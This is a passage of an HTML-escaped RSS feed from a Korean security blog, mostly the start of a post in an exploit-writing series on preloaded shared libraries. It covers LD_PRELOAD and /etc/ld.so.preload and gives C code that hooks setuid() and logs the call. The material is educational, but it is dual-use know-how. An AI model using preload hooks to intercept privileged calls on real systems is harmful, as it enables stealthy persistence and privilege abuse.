Link Library&lt;/i&gt;&lt;/b&gt;&quot;로 인식되어 문자열이 출력됩니다. 실제 라이브러리 내부에 구현되어 있는 library_call() 함수에서 반환하는 고정적인 &quot;1337&quot; 정수 값도 온전히 양쪽 플랫폼에서 반환 값으로 인식되는 것을 볼 수 있습니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;사실 위와 같은 라이브러리의 실행 형태는 악성코드 분석을 포함해 컴파일 된 응용프로그램의 분석 시 매우 유용하게 사용됩니다. 특정 라이브러리 파일에 데이터 인코딩이나 디코딩&amp;nbsp;로직이 존재할 때 해당 로직만 따로 떼어서 테스트 해 볼 수도 있고 더 많은 분석 과정에서 사용되기도 합니다. 물론 함수 원형에 대한 정보가 정확하지 않아 여러 애로사항이 있는 분석 기법이지만 &lt;b&gt;TeamCR@K&lt;/b&gt;에서 수행한 모의해킹 프로젝트 중 이러한 분석 과정을 통한 여러 실 예가 있고, 추후 해당 내용에 대해 정리하여 새 글로 공유하는 기회를 갖도록 하겠습니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;</description>
      <category>기획 연재</category>
      <category>dlclose</category>
      <category>dlopen</category>
      <category>dlsym</category>
      <category>Dynamic Link Library</category>
      <category>GetPRocAddress</category>
      <category>indra</category>
      <category>LoadLibrary</category>
      <category>shared library</category>
      <category>shared object</category>
      <category>공유라이브러리</category>
      <author>알 수 없는 사용자</author>
      <guid isPermaLink="true">https://teamcrak.tistory.com/400</guid>
      <comments>https://teamcrak.tistory.com/400#entry400comment</comments>
      <pubDate>Wed, 24 Jan 2018 20:46:44 +0900</pubDate>
    </item>
    <item>
      <title>Exploit Writing Technique #3: Preloaded Shared Libraries</title>
      <link>https://teamcrak.tistory.com/399</link>
      <description>&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;a href=&quot;http://teamcrak.tistory.com/401&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Exploit Writing Technique #1: Constructor, What's that?&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://teamcrak.tistory.com/400&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Exploit Writing Technique #2: Basics of Shared Library&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Exploit Writing Technique #3: Preloaded Shared Libraries&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://teamcrak.tistory.com/398&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Exploit Writing Technique #4: Applied Exploits&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;정대근 보안기술팀장 (A.K.A 1ndr4)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;indra@a3security.com&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;여러분은 &quot;&lt;b&gt;&lt;i&gt;선적재 라이브러리&lt;/i&gt;&lt;/b&gt;&quot;라는 말을 들어보신적 있으신가요? &lt;b&gt;&lt;i&gt;선적재(Pre-loaded)&lt;/i&gt;&lt;/b&gt;된 라이브러리는 다른 로드 된 공유라이브러리보다 우선순위를 가지고 있다는 특징이 있습니다. 그로 인해 특정 함수에 대한 &lt;b&gt;&lt;i&gt;Hooking&lt;/i&gt;&lt;/b&gt;에 사용되기도 하고 개발자의 디버깅에도 유용하게 사용되고 있습니다. 우선 다음의 페이지에서 선적재 라이브러리에 대해 간략한 설명을 보실 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Secure Programming for Linux and Unix HOWTO - 3.7. 동적 링크 라이브러리&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://wiki.kldp.org/HOWTO/html/Secure-Programs-HOWTO/dlls.html&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;https://wiki.kldp.org/HOWTO/html/Secure-Programs-HOWTO/dlls.html&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;페이지 글 중간에 전반적으로 Linux 시스템에서 동작하는 라이브러리의 구조와 함께 &lt;b&gt;&lt;i&gt;ld.so.preload &lt;/i&gt;&lt;/b&gt;파일의 특징과 활용법, 그리고 같은 맥락으로 동작하는 &lt;b&gt;&lt;i&gt;LD_PRELOAD &lt;/i&gt;&lt;/b&gt;환경변수에 대해&amp;nbsp;설명하고 있습니다.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;(2018년 2월 1일 기준 위 페이지에서 설명하는 &lt;b&gt;&lt;i&gt;&lt;strike&gt;LD_RELOAD&lt;/strike&gt;&lt;/i&gt;&lt;/b&gt;라는 환경변수는 &lt;b&gt;&lt;i&gt;LD_PRELOAD&lt;/i&gt;&lt;/b&gt;의 오타로 확인되고 있습니다.)&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;선 적재 라이브러리가 활용되는 흔적은&lt;i&gt; strace(system call tracer)&lt;/i&gt;에서도 확인할 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 675px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99DDA1465A740F6A08&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99DDA1465A740F6A08&quot; width=&quot;675&quot; height=&quot;472&quot; filename=&quot;1.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px; text-align: center;&quot;&gt;&lt;b style=&quot;color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;[그림 1]&amp;nbsp;strace로 확인한 선 적재 라이브러리 활용의 흔적&lt;/b&gt;&lt;/p&gt;&lt;div style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/div&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;/bin/ls&lt;/i&gt; 프로그램 실행 시작 직후 시스템 내부에서는 &lt;b&gt;&lt;i&gt;/etc/ld.so.preload&lt;/i&gt;&lt;/b&gt; 파일의 존재 여부를 확인하고 있습니다. &lt;b&gt;&lt;i&gt;/etc/ld.so.preload&lt;/i&gt;&lt;/b&gt;라는 파일은 어떠한 파일일까요? &lt;i&gt;ld.so&lt;/i&gt;의&amp;nbsp;&lt;i&gt;man &lt;/i&gt;페이지에서는&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;다음과 같이 설명하고 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;LD.SO(8)&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Linux Programmer’s Manual&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LD.SO(8)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;NAME&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;ld.so, ld-linux.so* - dynamic linker/loader&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;DESCRIPTION&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;The&amp;nbsp; programs ld.so and ld-linux.so* find and load the shared libraries&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;needed by a program, prepare the program to run, and then run it.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;gt;&amp;gt; snip &amp;lt;&amp;lt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;ENVIRONMENT&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;There are four important environment variables.&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;gt;&amp;gt; snip &amp;lt;&amp;lt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;LD_PRELOAD&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; A whitespace-separated list of additional,&amp;nbsp; user-specified,&amp;nbsp; ELF&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; shared&amp;nbsp; libraries&amp;nbsp; to&amp;nbsp; be loaded before all others.&amp;nbsp; This can be&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; used&amp;nbsp; to&amp;nbsp; selectively&amp;nbsp; override&amp;nbsp; functions&amp;nbsp; &amp;nbsp;in&amp;nbsp; &amp;nbsp;other&amp;nbsp; &amp;nbsp;shared&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; libraries.&amp;nbsp; &amp;nbsp;For&amp;nbsp; set-user-ID/set-group-ID&amp;nbsp; ELF&amp;nbsp; binaries,&amp;nbsp; only&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; libraries in the standard search directories that are also&amp;nbsp; set-&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; user-ID will be loaded.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;gt;&amp;gt;snip &amp;lt;&amp;lt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;FILES&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;gt;&amp;gt; snip &amp;lt;&amp;lt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/etc/ld.so.preload&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; File&amp;nbsp; containing&amp;nbsp; a&amp;nbsp; whitespace&amp;nbsp; separated&amp;nbsp; list&amp;nbsp; of&amp;nbsp; ELF shared&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; libraries to be loaded before the program.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;lib*.so*&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; shared libraries&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;...&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;a href=&quot;https://wiki.kldp.org/HOWTO/html/Secure-Programs-HOWTO/dlls.html&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Secure Programming for Linux and Unix HOWTO&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;에서도 설명하는&amp;nbsp;것 처럼 &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;ld.so&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;의 &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;man&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; 페이지에 따르면 선적재 라이브러리를 활용할 수 있는 방법에 대해 2가지로 설명되고 있습니다. 첫번째는 환경변수인 &lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;LD_PRELOAD &lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;값의 설정을&amp;nbsp;통해 특정 라이브러리를 선적재 할 수 있고, 두번째로는&lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; /etc/ld.so.preload&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;파일을 이용해 선적재 라이브러리를 지정할 수 있다고 합니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;LD_PRELOAD &lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;환경변수를 이용한 선적재 라이브러리 활용은 2014년에 저희 &lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;TeamCR@K&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; 블로그에 올린&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://teamcrak.tistory.com/378&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;zygote 프로세스에 LD_PRELOAD 환경변수 삽입하기&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; 편에도 일부 언급되어 있어 본 글에서는 &lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;ld.so.preload&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;를 중점으로 설명하고자 합니다. Linux에서 파일실행에 의해&amp;nbsp;프로세스 화 된 시점의 기본적인 플랫폼 환경은&amp;nbsp;&lt;b&gt;&lt;i&gt;GLIBC&lt;/i&gt;&lt;/b&gt;가 근간이 되고 있습니다. &lt;b&gt;&lt;i&gt;GLIBC&lt;/i&gt;&lt;/b&gt;는&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;실행된 프로그램과 &lt;i&gt;Kernel &lt;/i&gt;중간에 위치하면서&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;프로그램 실행에 여러가지 관여를 합니다. &lt;b&gt;&lt;i&gt;GLIBC &lt;/i&gt;&lt;/b&gt;소스코드를 다운로드 받아 분석해보면 &lt;b&gt;&lt;i&gt;ld.so.preload&lt;/i&gt;&lt;/b&gt; 의 동작 구성도 엿 볼 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;아래의 소스코드는 &lt;b&gt;&lt;i&gt;GLIBC&lt;/i&gt;&lt;/b&gt; 소스코드 트리에서 elf/rtld.c 파일의 일부 내용입니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 675px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99953B425A75256125&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99953B425A75256125&quot; width=&quot;675&quot; height=&quot;778&quot; filename=&quot;2.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;font-size: 12px; text-align: center; color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;[그림 2]&amp;nbsp;GLIBC 2.9 버전에서 ld.so.preload 를 이용하여 선적재 라이브러리를 구성하는 로직&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;b&gt;&lt;i&gt;GLIBC &lt;/i&gt;&lt;/b&gt;소스코드 트리 중 elf/rtld.c 소스코드를 참조하면 &lt;i style=&quot;&quot;&gt;do_preload() &lt;/i&gt;에 의해 라이브러리의&amp;nbsp;선적재하는 과정을 알 수 있습니다. 위에 언급되어 있는 것 처럼 선적재 라이브러리는 다른 라이브러리에 우선한다고 했습니다. 그 말은 같은 함수가 로드되는 다른 라이브러리에 구현이 되어 있더라도 선적재 라이브러리에 구현된 함수가 우선순위를 가지고 있는 것을 말하며, 해당 특성을 이용하여 &lt;i style=&quot;&quot;&gt;Wrapping Function&lt;/i&gt;의&amp;nbsp;구현과 같은 방법으로 특정 함수를 &lt;b&gt;&lt;i&gt;Hooking&lt;/i&gt;&lt;/b&gt;할 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;다&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;음의 코드는 &lt;i style=&quot;&quot;&gt;setuid()&lt;/i&gt; 함수를 &lt;b&gt;&lt;i&gt;Hooking&lt;/i&gt;&lt;/b&gt;하는 코드입니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;/*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* libsetuid.so.c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* Coded by TeamCR@K&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* http://teamcrak.tistory.com&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* - A example code for wrapped function of setuid()&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*/&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;#include &amp;lt;dlfcn.h&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;static int (*orig_setuid)(uid_t uid);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;int setuid(uid_t uid)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;{&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int ret = 0;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; void *dl = NULL;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char exe[1024] = {0,};&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; readlink(&quot;/proc/self/exe&quot;, exe, sizeof(exe));&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stdout, &quot;[DEBUG] Hooked setuid(%d) by '%s'\n&quot;, uid, exe);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if((dl = dlopen(&quot;/lib/libc.so.6&quot;, RTLD_LAZY)) != NULL) {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if((orig_setuid = dlsym(dl, &quot;setuid&quot;)) != NULL) {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ret = orig_setuid(uid);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dlclose(dl);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return ret;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br 